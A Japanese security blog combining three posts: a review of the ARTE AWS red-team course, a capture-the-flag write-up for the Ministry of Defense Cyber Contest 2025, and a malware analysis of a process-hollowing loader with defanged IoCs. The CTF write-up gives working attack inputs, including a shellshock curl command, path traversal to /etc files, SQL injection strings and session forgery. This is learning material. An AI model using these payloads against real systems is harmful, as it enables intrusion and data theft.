ARTE(AWS Red Team Expert)受験記

先日 ARTEの試験に合格してきました。英語のReview記事は多くあるのですが日本語の記事は全然見当たらなかったのでせっかくなので記録として残しておきます。

ARTE(AWS Red Team Expert)とは

ARTEはペンテストなり、Hacktheboxをやる人であれば一度はお世話になったであろうHackTricksが提供するAWSの攻撃手法を学べるトレーニングです。

HackTricks Training

様々なAWSのサービスに対する攻撃手法について動画、ラボ、資料などが用意されている。1099€なので、日本円にすると大体18万くらい。

更新もされているので私が受け始めた7月にはなかったサービスに対する攻撃やラボが追加されていたりします。ラボ自体はトレーニングを受け始めてから1か月しか利用できないが、ラボのバウチャーを購入することで延長も可能。15日で179€、30日で259€、90日で699€となっています。

難易度的にはAWSをある程度触ったことがある人であれば理解は容易だと思います。たまにSSRFなどのWeb系の知識も必要になるがそんなに難しくはない。

AWSを触ったことがない人はこのトレーニングをいきなり受ける前に何らかAWSの操作に慣れておくとスムーズに取り組めると思います。

ラボについて

このトレーニングの一番の肝だと私は思っている。講義内容の一部を実践する場が用意されてます。ラボは1つのサービスに対して1-5個くらいの演習が用意されており、隠されているflagを権限昇格なりして入手するという内容になっています。自前のAWS環境がなくともほとんどの問題は解けるようになっています。(解き方によっては自前のAWS環境が必要だったりする)。ラボのデプロイボタンがあり、デプロイボタンを押すことで環境が用意される。もう一度試したいときには再度デプロイすればよいので何度でも試せるというのが良いところ。(CloudFormationあたりを使ってうまいことやってるんだろうなと)

自前の環境がなくても取り組めますが、別の攻撃手法を試したりとかもできるのでAWS環境を用意できるなら用意したほうがさらなる勉強に使えるとは思います。

サポートについて

レーニングを受講するとDiscordサーバにも招待されます。このDiscordサーバではラボの技術的なトラブルやラボの問題がわからなかったりするときに質問ができたりします。またほかの受講者の質問とかもあったりするので過去の履歴を探るだけでもわからなかった問題のヒントがあったりします。

サポートについては時差はあるのでラボのぎりぎりで質問にならないように余裕をもって質問するとよいと思います。

試験について

レーニングには試験のバウチャーも1つあり、トレーニングを受け始めてから1年以内に受けることができる。落ちてもバウチャーを買えば再試験を受けれるようにはなっています。

試験自体は12時間の内容であり、私は大体5-6時間くらいで終わりました。トレーニングの内容を理解していれば十分に合格はできる内容でした。AWSのあるサービスが使われているときにどのような攻撃方法が可能なのかといったところやどのような情報を得ることができるのかといったことをしっかり把握しておくことが重要だと思います。

試験準備としてはチートシートとして、管理者になるためのポリシーやLambda関数用のReverse Shellスクリプトなり、攻撃に使用するファイルや確認すべきコマンドなどをまとめて臨みました。まぁまぁ役に立ったし、どういう攻撃ができるのかということ試験前に再確認するのにも使えたので結果まとめておいてよかったです。

終わりに

全体を通してとても良いトレーニングでした。内容は今後もアップデートされ、動画やスライドは後から確認できるので今後拡充されたコンテンツも確認できるというのも良い点!興味ある方の参考になれば幸いです。

防衛省サイバーコンテスト2025 Writeup供養

いつからか記憶にないが例年行われている防衛省サイバーコンテスト2025に出場したのでWriteupとして供養しておく。

防衛省サイバーコンテストについては以下からどうぞ

防衛省・自衛隊:防衛省サイバーコンテストの開催について

防衛省サイバーコンテストとSECCON関連しか参加してないnoobではあるが、今年は昨年と比べて易化した印象を受けたので、まぁまぁ解け最終的には5600pts,18位で終了。プロたちののwriteupとかもあるので、私のはまぁこういう解き方もできるんだなと参考にどうぞ。

1位のst98プロのWriteup

防衛省サイバーコンテスト 2025 writeup - st98 の日記帳 - コピー

hamayanhamayanさんのWriteup

防衛省サイバーコンテスト 2025 Writeup - はまやんはまやんはまやん

PG

縮めるだけじゃダメ

100点問題、添付のExcelファイルからフラグを読み取ってください。

マクロがあるので、適当に実行して消される前の部分を見ればflag、エクセルのステップインとかを使うと楽なんじゃないかな

flag{268653}

暗算でもできるけど?

100点問題、添付のソースコードを実行した際の出力値の68番目の値と、このソースコードから推測される314番目の値を足した数を答えてください。

渡されるソースコードを適当に書き換えて実行してあげればよい。314番目は推測せずに出力させていく。

#include <stdio.h>
int main(){
        int i,j,k,l;
        int cnt = 0;
        //k=(((10/2*4/10*4/2)+97)*10)-10;
        k = 10000000;
        printf("%d\n", k);
        for(i=2;i<=k;++i){
                l=0;
                for(j=2;j<i;++j){
                        if(i%j==0){
                                l=1;
                                break;
                        }
                }
                if(l==0){
                        cnt += 1;
                        printf("cnt:%d, %d\r\n",cnt, i);
                        if(cnt == 314) break;
                }
        }
        return 0;
}

出力としてはcnt:68, 337 cnt:314, 2083となるので2420が答え

flag{2420}

form hijacking

200点問題、添付のファイルは「Card Stealer」と呼ばれるフォームからの入力値を外部へ送信するJavaScriptです。 カード情報が妥当な場合、その値は外部へ送信されるようなので追跡したいです。

難読化されたJavaScriptが渡されるが、deobfuscatorに投げ込むといい感じにカード情報を外部に送信しそうなURLが見つかるのでそこにアクセスする。

JavaScript Deobfuscator

パラメータが足りないとエラーが返ってくるので最終的には以下のようなURLへアクセスすればよい

https://pg3.2025winter-cybercontest.net/pg3?cardnumber=111&exp-date=22&cvc=11&Skimming=true

flag{f1iping_de0bfuscat0r}

loop in loop

300点問題、以下問題文

以下の要件を満たすプログラムを作成してください。 プログラムの言語は問いません。

引数として以下の値を指定できる。
第一引数:文字列
第二引数:文字列
プログラム内部で引数に以下の処理を加える。
それぞれの引数のハッシュ値を求める。ハッシュ関数にはRIPEMD160を使用する。
第一引数のハッシュ値の1文字目と第二引数のハッシュ値の1文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
続いて、第一引数のハッシュ値の1文字目と第二引数のハッシュ値の2文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
同様に、3文字目、4文字目と続け、と第二引数のハッシュ値の最後の文字まで行う。
続けて第一引数のハッシュ値の2文字目に対して第二引数のハッシュ値の1文字目から同様の処理を行う。
同様に第一引数のハッシュ値の3文字目、4文字目と続け、と第一引数のハッシュ値の最後の文字まで行う。
それぞれの値を加算する。
加算された値を10進数で出力する。
このプログラムに下記の引数を与えた時に出力される値を答えてください。

第一引数:Phoenix
第二引数:Messiah
【回答書式】 flag{n桁の半角数字}

大したことは書いてないが、こんだけ詳細に書いてあるのならchatgptになげれば答えてもらえるのではと考えて投げたら答えてくれた。答えもあってた

flag{5785}

NW

頭が肝心です

100点問題、添付したメールファイルからフラグを探してください。 フラグはこのメールが届くまでに経由した2番目のメールサーバのIPアドレスとします。

メールサーバの経路を時刻通りにたどればOK、最初flag{}を忘れててミスった。あぶない

flag{172.16.25.39}

3 Way Handshake?

200点問題、添付したのはTCPポートスキャン時のパケットログです。 オープンポートを見つけてください。 オープンしているポート番号を小さい順に「,(カンマ)」で区切って答えてください。

(tcp.flags==0x12) and not tcp.analysis.initial_rttでフィルタをかける。そうすると以下のポートがあるのでsortして終わり。

23,111,113,21,110,1025,143,514,98,70,50506,37,109,79,513

sortしてflag

flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}

さあ得点は?

200点問題、添付されたパケットファイルから攻撃を特定し、その攻撃のCVEを調べてください。 その攻撃のCVSS Version2.0のBaseScoreがフラグです。 CVSSのスコアはNISTで公開されている値とします。 https://nvd.nist.gov/

ログの中身は以下のようなリクエストとなっている。

HEAD / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HOST: 192.168.123.116
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34
(snip)

調べると徳丸さんのブログがでてくる

https://blog.tokumaru.org/2011/08/apache-killerapache-killer.html

CVE-2011-3192となるので、NISTのページでCVSS2.0の値を調べて回答

https://nvd.nist.gov/vuln/detail/cve-2011-3192

flag{7.8}

decode

300点問題、添付のパケットファイルからフラグを探してください

大量のpcapファイルが渡される、一つずつ見ていくのは面倒なのでmergepcapで合体させる。

リクエストを確認するとjpegの画像があるので、その中にflagがありそうという感じ。

オブジェクトエクスポートから見ると、一つだけサイズ感の違うファイル(5515byte)があるので、そのjsonを見てみたらflagだった。

flag{c4ptur3_cat}

WE

簡単には見せません

100点問題、https://we1-prod.2025winter-cybercontest.net/

robots.txtを見てみるとディレクトリがわかる。

blue配下がディレクトリリスティングとなっており、ソースコードにflagが書かれている。

<!DOCTYPE html>
<html lang="ja-JP">
<head>
<meta charset="utf-8" />
<title>WE-1</title> 
</head>
<body>
<h2>このページにフラグがあります</h2>
</body>
</html>
<!-- flag{TakeMeToTheFlag} -->

flag{TakeMeToTheFlag}

試練を乗り越えろ!

100点問題、下記のURLからフラグを入手してください。

何問目であるか答える問題、burpでリクエストをみると何問目であるかという問い含めて送ってるので10000に書き換えてリクエストしてあげるとflag

flag{WinThroughTheGame}

直してる最中なんです

200点問題、下記のサイトから脆弱性のあるアプリケーションを特定し、その脆弱性を利用してフラグを入手してください。フラグが記載されているファイルは下記の通りです。 /etc/WE-3

アクセスすると次のような画面

ソースコードを見てみると実装途中のものがある、download.jsを解析すればよさそう

<!-- @format -->

<!DOCTYPE html>
<html
    xmlns="http://www.w3.org/1999/xhtml"
    xml:lang="ja-JP"
    lang="ja-JP"
    prefix="og: http://ogp.me/ns#"
>
    <head>
        <meta charset="utf-8" />
        <meta name="robots" content="noindex" />
        <title>NO LIFE NO STONE</title>
        <!--<script type="text/javascript" src="secret/download.js"></script>-->
    </head>

    <body>
        <h2>そのへんの石</h2>
        ※ダウンロードの仕組みは調子悪いので(^^;
        欲しい方は画像を直接コピーしてね。<br />
        <hr />
        <img src="stone/WE-3-01.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-01')">ダウンロード</button> -->
        <img src="stone/WE-3-02.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-02')">ダウンロード</button> -->
        <img src="stone/WE-3-03.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-03')">ダウンロード</button> -->
        <img src="stone/WE-3-04.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-04')">ダウンロード</button> -->
        <img src="stone/WE-3-05.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-05')">ダウンロード</button> -->
    </body>
</html>

download.jsは以下のようになっており、POSTリクエストを送ればファイルが入手可能。

function dlFIle(file){
    var dataS = 'fName=' + file;
    var xhr = new XMLHttpRequest();
    xhr.open('POST','/secret/download.php');
    xhr.send(dataS);
    xhr.onload = function() {
        var strS = xhr.responseText;
    };
}

curl -X POST -d "fName=/etc/WE-3" https://we3-prod.2025winter-cybercontest.net/secret/download.php

$ curl -X POST -d "fName=/etc/WE-3" https://we3-prod.2025winter-cybercontest.net/secret/download.php
<snip>
flag{fGrantUB56skBTlmF14mostFP}

flag{fGrantUB56skBTlmF14mostFP}

直接聞いてみたら?

200点問題、下記のURLはAPIテストのためのフォームです。 ここからフラグを入手してください。

APIのリクエストが送れるフォームが表示される。burpでリクエストを見るとこんな感じ

POST /json.php HTTP/2
Host: we4-prod.2025winter-cybercontest.net
Cookie: PHPSESSID=iqissnh6b5gl2r1p3p98vu1bld
Content-Length: 45
Accept: */*
Origin: https://we4-prod.2025winter-cybercontest.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://we4-prod.2025winter-cybercontest.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn1d

dataでbase64のデータを送信している。これは[{"name":"name","value":"on"}]となっており、nameの部分をflagにすればいけそうとわかる。

POST /json.php HTTP/2
Host: we4-prod.2025winter-cybercontest.net
Cookie: PHPSESSID=iqissnh6b5gl2r1p3p98vu1bld
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://we4-prod.2025winter-cybercontest.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://we4-prod.2025winter-cybercontest.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoiZmxhZyIsInZhbHVlIjoib24ifV0=

[{"name":"name","value":"on"},{"name":"flag","value":"on"}]をbase64エンコードして渡してあげればよい

flag{ParameterHandlingError}

旗の下に必要な者だけが正しく並べばいいのです。

300点問題、問題文記録忘れ

アクセスするとflagが表示されるようなページが見れる。

idの部分のASC、DESCが選択可能。ここでidをflagSeqにすると別のソートが可能、ここでORDERBY句と表示数を制限していることを予想した。

SQLインジェクションできそうなので、コメントアウトする以下のリクエストで全表示される。

https://we5-prod.2025winter-cybercontest.net/index.php?sort=flagSeq;--

flag{6f24d2267d87b7b232ed0d6ed3ad2924}

CY

エンコード方式は一つじゃない

100点問題、以下の文字列をデコードしてFlagを答えてください。%26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62

URLエンコードなのをデコードすると次のように複数のエンコードが出てくる。

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;VmFyaW91c0VuY29kaW5ncw==666c61677b

順番にデコードするとこのような文字順になるので逆にしてあげればflag UcanB}VariousEncodingsflag{

flag{VariousEncodingsUcanB}

File Integrity of Long Hash

100点問題、添付のZIPファイルの中から下記のファイルを探してください。 フラグはそのファイルの中に書かれています。189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf

ハッシュはSHA512っぽい、HashMyFilesで計算してflags_89.txtが答えとわかる。

flag{346D895B8FF3892191A645}

Equation of ECC

200点問題、問題文は以下

楕円曲線のパラメータは以下の通りとします。


a=56,b=58,p=127

基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。

公開鍵(53,30)

これも詳細に書かれているのでchatgptに教えてくれないかなと思ったら教えてくれた

flag{16}

PeakeyEncode

300点問題、文字化けした文が送られてきました。送信者によるとこの文字化けはインターネットから探してきたロジックを使って暗号化を施したかったそうです。 暗号化した際の環境が送られてきているので復号ができないでしょうか。

なんか文字化けしてる暗号化したメッセージとコードが渡される。

require './encode.rb'
flag = File.open("flag", "r").read()
generate = PeakeyEncode.new.generate(flag)
generate = generate.gsub(">", "🚒")
generate = generate.gsub("<", "😭")
generate = generate.gsub("+", "😡")
generate = generate.gsub("-", "🙌")
generate = generate.gsub(".", "🌺")
generate = generate.gsub(",", "✍️")
generate = generate.gsub("[", "😤")
generate = generate.gsub("]", "🐈")

sjis = generate.force_encoding(Encoding::SJIS)
p sjis.encode(Encoding::UTF_8)

force_encodeingはなんじゃらほいと思ったらいい感じの記事が見つかる。

Rubyのencodeとforce_encodingの違い #Ruby - Qiita

絵文字をコーディングに気を使ってrubyを使って変換してあげると以下のようになる。replaceした後の最後の処理はbrainfuckなので適当に流してあげる。

file=File.binread("encryption")

file = file.force_encoding(Encoding::UTF_8).encode(Encoding::SJIS)
puts file
file = file.gsub("🚒",">")
file = file.gsub("😭","<")
file = file.gsub("😡","+")
file = file.gsub("🙌","-")
file = file.gsub("🌺",".")
file = file.gsub("✍",",")
file = file.gsub("😤","[")
file = file.gsub("🐈","]")
puts file
😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺😡😡😡😡😡😡🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡😡😡😡🌺😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺🙌🙌🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡😡😡😡🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡😡😡😡😡😡😡😡😡😡🌺😡😡😡🌺😡🌺😡😡😡😡😡😡😡😡🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡🌺😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++.-----------.++++++.++++++++++++++++++++.--.----------.++++++.----------------------.++++++++++++.+++.+.++++++++.------------------------.+++.++++++++++++++++.-----------------.------------------------------------------------.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++.

flag{you_know_bra1n}

FR

露出禁止

100点問題、添付のログファイルから脆弱性を特定し下記のサイトからフラグを手に入れてください。

ログを確認してみると一部のログでauth.phpを通過したっぽいログとなっている。その時のセッションを使えばログインできる。

192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281

セッションのデータはbase641767225599,6,user6となっているので、そのデータを変換してアクセスしていくとflag。こんな感じのデータでよい1767225599,1,user2

flag{SessionIDsCarefully}

成功の証

200点問題、フラグは攻撃者が見つけ出した「パスワード」とします。

FTPのログイン成功のコード230でフィルタしてあげればよい。

220 (vsFTPd 3.0.3)
USER agita
331 Please specify the password.
PASS wwwww
530 Login incorrect.
USER agita
331 Please specify the password.
PASS yyyyyyyy
530 Login incorrect.
USER agita
331 Please specify the password.
PASS zyyzzyzy
230 Login successful.

flag{zyyzzyzy}

犯人はこの中にいる!

200点問題、下記のパケットログは、攻撃のフェーズにおいて特定のサーバにポートスキャンを行ったと思われていたものです。 実は、これは内部にいる攻撃者が外部IPアドレスを偽証したものです。 本当の内部にいる攻撃者のIPアドレスを見つけてください。

MACアドレスが同じものを見つけて終わり。

flag{192.168.204.137}

chemistry

300点問題、添付のプログラムは実行時に引数として数字を与えることができます。 このプラグラムで「FLAG I AM LUCKY」と表示させるための引数を答えてください。複数の引数を送る場合は、「,(カンマ)」で区切ってください。 スペースは「0」を送ってください。

プログラムをGhidraに投げると以下のurlをぶん投げているだけである。1-118まで受け付けるみたいなのでうまくFLAGになる組み合わせを探る。

https://fr4.2025winter-cybercontest.net/chemistry?flagSeed=

最終的に次の順番になる。114,47,0,53,0,95,0,71,6,19,39

flag{114,47,0,53,0,95,0,71,6,19,39}

InSecureApk

300点問題、管理者だけが使えるAndroidアプリを作成しました。 このアプリはパスワードを入れないと使うことができません。 そのパスワードがフラグとなっています。

dex2jarでdex->jarにした後jd-guiでコードを眺める。

package jp.go.cybercontest.insecureapk;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
  protected void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    setContentView(R.layout.activity_main);
    ((Button)findViewById(R.id.button)).setOnClickListener(new AppListener());
  }
  
  private class AppListener implements View.OnClickListener {
    private AppListener() {}
    
    public void onClick(View param1View) {
      EditText editText = (EditText)MainActivity.this.findViewById(R.id.inputText);
      TextView textView = (TextView)MainActivity.this.findViewById(R.id.flush);
      if (param1View.getId() == R.id.button) {
        String str = editText.getText().toString();
        if (str.length() != 16) {
          textView.setText("Incorrect.");
        } else if (SecretGenerater.decode(str).equals("VUSTIq@H~]wGSBVH")) {
          textView.setText("Congratulations! you got flag.");
        } else {
          textView.setText("Incorrect.");
        } 
      } 
    }
  }
}

デコードした文字列がVUSTIq@H~]wGSBVHになるらしい

package jp.go.cybercontest.insecureapk;

public class SecretGenerater {
  static {
    System.loadLibrary("insecureapp");
  }
  
  public static native String checkNative(String paramString);
  
  public static String decode(String paramString) {
    paramString = checkNative(paramString);
    return (paramString.length() == 16) ? paramString : "";
  }
}

ライブラリのcheckNative関数を呼び出している。

Ghidraに読み込ませると0923200802022025とXORしている、XORしたらflag

flag{AppNoGuard}

PW

CVE-2014-7169他

100点問題、アクセスログから脆弱性を特定しフラグファイル内のフラグを見つけ出してください。 フラグファイルは下記の通りです。/etc/PW-1

CVE-2014-7169のshellshockの脆弱性。渡されたログにあるようにヘッダを細工して送ってあげる。送り先はログの200が帰ってきているリクエストでよい。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1" https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi
flag{>:(!shellshock!}

flag{>:(!shellshock!}

認可は認証の後

200点問題、下記のURLにアクセスし、フラグを入手してください。 Webアプリケーション脆弱性診断の観点を持つと良いみたいです。

ログインページが表示される。なぜかパスワードを2回打つ必要があるがSQLインジェクションで通過可能

' OR '1'='1' #を含めてあげるとよい。 その先のページではflag要求できるが、管理権限がないとか言われる。 POSTパラメータにadmin=0を渡しているのでadmin=1にすればよい

flag{DoNotUseParameter2Auth}

overmeow

200点問題、ファイルを用意したので、解析してもらえませんか。nc pw4-prod.2025winter-cybercontest.net 30001

ソースコードを解析するとあからさまにBOF脆弱性がある。適当にgdb-pedaとかでバッファサイズを調べてあげてうまく比較されるようにしてあげれば終わり。

└─$ nc pw4-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)meow
(,, uu)

What's the cat's say?
AAA%AAsAABAA$AAnAACAA-AAwodm
Yes, I'll give you a flag.
flag{I_will_Golondon}

flag{I_will_Golondon}

heapmeow

300点問題、問題文記録忘れ

今度はソースコードが渡されるのでそれを解析していけばよい。ヒープ領域のBOFがあるので解放した後に書き込んであげればうまくいく。なんか適当に試してたらいい感じになったので実はあんまり考えてなかったりする。

$ nc pw5-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)
(,, uu)
Dog goes woof.
Then, Cat?

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 4

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 2
What does the cat say?
AAA%AAsAABAA$AAnAACAA-AAmeow
Congratulations!
flag{cat_g0es_me0w}  

flag{cat_g0es_me0w}

TR

合体はロマン

100、二次元バーコードでフラグを書いておきました。

4つの分割されたQRコードが渡される。QRコードは書式があり固定されるパターンがある。このあたりはWikipediaを見ればわかる。

QRコード - Wikipedia

また白黒色のものは右下固定だが、Wikipediaを見るとアライメント部分がなく、白黒反転していることがわかる。 そんな感じのヒントをもとに合成するとこんな感じ。

flag{ThisCodeIsLevelH}

Windowsで解きましょう

200点問題、下記のファイルを実行すると「flags」というフォルダが作成され、複数のファイルが生成されます。 すべてのファイルに違うフラグが書かれています。 その中のファイルの一つには印がつけてあります。正解のフラグを探してください

batファイルの中身を見るとすぐにわかる。代替テキストを書き込んでいるだけなのでflags_25.txtがflag

@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal

flag{7525252364612534937244}

排他的倫理和

300点問題、比較対象ファイルの値と各候補ファイルに記載の値のXORを計算し、有意な値を見つけてください。

>>> with open("pattern1", "rb") as f:
...     d1=f.read()
...
>>> with open("compare","rb") as f:
...     c=f.read()
...
>>> with open("pattern2", "rb") as f:
...     d2=f.read()
...
>>> with open("pattern3", "rb") as f:
...     d3=f.read()
...
>>> "".join([chr(d1[i] ^ c[i]) for i in range(len(c))])
'find1\x05\x1b?4/'
>>> "".join([chr(d2[i] ^ c[i]) for i in range(len(c))])
'ciBd*\x16z\x95SQ'
>>> "".join([chr(d3[i] ^ c[i]) for i in range(len(c))])
'flag{¬\x1dïý}'

いわれた通りXORするとなんかd3だけflagっぽい形となっている。ここで回答フォーマットがIPアドレスとなっており、試しに10進表記させてみたらプライベートIPっぽいものが見えた。

>>> [chr(d3[i] ^ c[i]) for i in range(len(c))]
['f', 'l', 'a', 'g', '{', '¬', '\x1d', 'ï', 'ý', '}']
>>> [d3[i] ^ c[i] for i in range(len(c))]
[102, 108, 97, 103, 123, 172, 29, 239, 253, 125]

回答したら正解だった。

flag{172.29.239.253}

感想

解けなかった問題はパワポのプロパティには気づいたけど社員人数100人だからTGT200までやろとか思ってスクリプトを回してたのがいけなかったみたい。なんで260まであるんや.....

問題としてはPWNとかほんと超初心者向けという感じでセキュリティに取り組み始めた人にはいいんじゃないかなと思いつつ多少のやりごたえを求めてた人には物足りないのではないかなという気はする。逆に言えばセキュリティの裾野を広げるCTFとしてはいい難易度だったので、やってみる→そこから突き詰める人を増やすという目的があったのであれば成功しそうなのではとか思ったりした。 私はといえば私生活が忙しいので適当にやりつつ楽しめたのでそれはそれでよかった。

Zero2Automated Practical Analysis Writeup

はじめに

Zero2Automatedを受講しているのだが途中でPractical Analysisという課題が出た。試験でも解析レポートを作る必要があるのでせっかくなので解析レポートを作る。本番は英語になるけど日本語で書いておく。

検体情報

md5,A84E1256111E4E235250A8E3BB11F903
sha1,1B76E5A645A0DF61BB4569D54BD1183AB451C95E
sha256,A0AC02A1E6C908B90173E86C3E321F2BAB082ED45236503A21EB7D984DE10611

検体動作概要

  1. ResourceにあるデータをRC4で復号
  2. 復号したデータをプロセスにインジェクション
  3. 画像を通信先からダウンロード、画像に含まれている暗号化されたペイロードを復号
  4. 復号したペイロードをsvchost.exeへプロセスインジェクション
  5. MessageBoxにメッセージを表示

この検体の最初に動作するmain_bin.exeをStage1として説明する。

Stage1:ResourceデータのRC4での復号

  1. findResourceで101という名前のリソースを探し、ロードする
  2. Resourceデータの0x1c以降のデータをVirtualAllocで確保した領域にコピー
  3. Resourceデータの0xcから0xfバイトを鍵としてRC4で復号する。
  4. 復号したRC4のデータを、以下のAPIを呼び出してインジェクション
    1. VirtualAllocEx
    2. WriteProcessMemory
    3. SetThreadContext
    4. ResumeThread

リソースのデータはCyberchefで復号できる。この復号してインジェクションするデータをstage2とする。

Stage1:文字列復号

Stage1では拡張したROT13での文字列暗号化が行われている。拡張したといっているのは、文字配列として"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890./="が使われているからである。

以下のGhidraスクリプトで復号する。

def get_string(enc_data_addr):
    i = 0
    while getBytes(enc_data_addr.add(i),1)[0] != 0:
        i+=1
    return getBytes(enc_data_addr,i).tostring()

def decrypt_string(enc_str_addr):
    enc_str = get_string(enc_str_addr)
    strmap = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890./="
    dec = ""
    for s in enc_str:
        k = strmap.index(s)
        dec += strmap[(k + 13) % len(strmap)]
    return dec

Stage2:画像を通信先からダウンロードしてインジェクション

Stage2は以下の動作を行う。

  1. pastebin.comのURLにアクセスし、そこに記載されているURLの画像を取得
  2. 画像中に含まれているデータを復号する。
  3. svchost.exeのプロセスを作成し、復号したデータをProcessHollowingする。

ProcessHollowingし実行される処理はStage3とよぶことにする。

Stage2では、最初に以下の通信先へ接続する。

https[://]pastebin[.]com/raw/mLem9DGk

この接続先には、違うURLが記載されており、Stage2はそのURLのアクセスも行う。

この通信先へアクセスすると、以下の画像が表示される。

この画像のデータのうち、cruloader以降のデータを0x61でxorしたデータをProcessHollowingする。

Stage2での文字列復号

Stage2では、4バイトのROL後にxorをすることで文字列の復号をしている。xorの鍵は固定ではないため注意する必要がある。

Stage3

Stage3は以下のメッセージボックスを表示するのみのプログラムである。

IoCs

https[://]pastebin[.]com/raw/mLem9DGk
hxxps[://]i[.]ibb[.]co/KsfqHym/PNG-02-Copy.png